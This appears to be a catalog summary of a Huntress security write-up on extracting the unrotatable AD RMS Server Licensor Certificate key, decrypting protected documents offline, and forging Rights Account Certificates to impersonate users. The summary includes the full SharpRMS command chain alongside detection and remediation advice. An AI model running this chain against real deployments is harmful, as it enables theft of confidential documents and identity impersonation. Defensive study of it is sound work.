Skip to content

Back to the catalog

AD Rights Management Service (Part 2): Extraction, Offline Decryption, and the Unrotatable Key
huntress.comwriteup

AD Rights Management Service (Part 2): Extraction, Offline Decryption, and the Unrotatable Key

Part 2 of a Huntress series on AD RMS shows how any Service Group member can export the deployment's root SLC private key via the admin SOAP surface's Trusted Publishing Domain (TPD) operation, then use it to offline-decrypt any document the cluster has ever protected — no server contact required. The author goes further, forging XrML Rights Account Certificates signed with the stolen SLC key to trick a live AD RMS server into issuing genuine use licenses for arbitrary/impersonated identities (a "hybrid" of a Golden Ticket and Silver Ticket), and releases the SharpRMS tool that implements extraction, decryption, and RAC forgery. Because the SLC key has a 255-year certificate and no rotation mechanism, the compromise is permanent for all previously protected content, unlike KRBTGT which can be reset to invalidate forged Kerberos tickets.

TL;DR Extracting an AD RMS deployment's unrotatable SLC private key lets an attacker offline-decrypt every protected document ever issued and forge XrML certificates that trick the live server into granting licenses for any identity.
Open original ↗
Document

What it is

Hands-on exploitation detail for the AD RMS SLC key attack, with the SharpRMS command syntax, a software-vs-HSM precheck, weak backup-encryption internals, detection gaps, and remediation — the operational specifics the summary omits.

How it works

The full chain runs from a domain workstation as a Service Group member (Tony), then reuses the key as an unprivileged user (Paulie):

# Confirm software-keyed before anything (Service Group member):
#   keyprotection -> IsServicePrivateKeySoftwareBased: true  (false = HSM, extraction blocked)

.\SharpRMS.exe extract /method:tpd /server:http://vesuvio... /user:NEWJERSEY\tony.soprano /password:... /exportpassword:SharpRMS2026 /outfile:slc.bin
.\SharpRMS.exe decrypt /keyfile:slc.bin /infile:BOARD_MINUTES_2026.docx /outfile:PAULIE_cracked.docx
.\SharpRMS.exe impersonate /target:[email protected] /sid:S-1-5-... /server:... /user:...\tony.soprano /password:... /outfile:silvio_precert.xml
.\SharpRMS.exe forgerac /keyfile:slc.bin /template:silvio_precert.xml /target:... /sid:... /until:2036-07-08T00:00 /outfile:forged_rac.xml
.\SharpRMS.exe goldenrac /keyfile:slc.bin /template:forged_rac.xml /infile:...docx /server:... /target:... /sid:... /until:... /outfile:use_license.xml /keyout:forged_rac_priv.bin
.\SharpRMS.exe decrypt /keyfile:forged_rac_priv.bin /uselicense:use_license.xml /infile:...docx /outfile:silvio_read.docx

Extraction is a single SOAP call to /_wmcs/admin/ (the TPD ExportTrustedPublishingDomain operation). Output is a 1172-byte CAPI PRIVATEKEYBLOB. The forged RAC forges identity only: the server still resolves real rights, so impersonating a user with no grant returns NoRightsForRequestedPrincipal — you must impersonate someone actually on the access list.

Preconditions / Affected

On-prem AD RMS, software-keyed SLC (IsServicePrivateKeySoftwareBased: true). Requires AD RMS Service Group membership for extraction/precertify; offline decrypt afterward needs nothing. Also affects Azure HYOK deployments (on-prem-backed labels). Does not affect default Azure Information Protection / Purview.

What to do

  • Govern the Service Group as a Tier-0 group: Protected Users, PAW requirement, membership alerting.
  • Treat any exported TPD .xml as raw SLC key material — its default wrapping is AES-128-CBC with a hardcoded IV (01-02-...-10) and an unsalted single-pass SHA-256 of the password, so weak passwords crack offline. Remove exposed copies; re-exporting under a new password does not undo a prior leak.
  • Move the SLC to an HSM (IsServicePrivateKeySoftwareBased: false) — closes the software-extraction path but not documents protected while software-keyed.
  • Enable TLS + EPA (default lab is HTTP-only; SOAP key material travels cleartext and NTLM is relayable).

Detection

TPD export leaves no entry in DRMS_Logging (which records only GetLicensorCertificate, Certification.Certify/Precertify, TemplateDistribution ×2, GroupExpansion) and fires no Windows Event ID. The only server-side artifact is the IIS W3SVC POST to /_wmcs/admin/ (operation name is in the SOAP body, not the URL) — parse it for admin-path POSTs. For target recon, RMS-protected .docx files are OLE compound files starting D0-CF-11-E0-A1-B1-1A-E1 (vs 50-4B-03-04 for a normal ZIP).

Caveats

The weak-KDF issue applies only to stored backups; in the live attack the attacker chooses the export password, so it is irrelevant there. HSM does not help for content protected during any earlier software-keyed period.

Organisations named here

  • Aaron Margosis
  • Charlie Clark
  • KRBTGT
  • Rights Account Certificate
  • Sean Metcalf
  • Server Licensor Certificate
  • Trusted Publishing Domain
  • XrML

Technologies named here

  • Active Directory
  • SharpRMS
  • .NET
  • Kerberos
  • Azure Information Protection
  • DisARMS
  • AD RMS

Techniques named here

  • Golden Ticket
  • Silver Ticket

Related in Offensive Security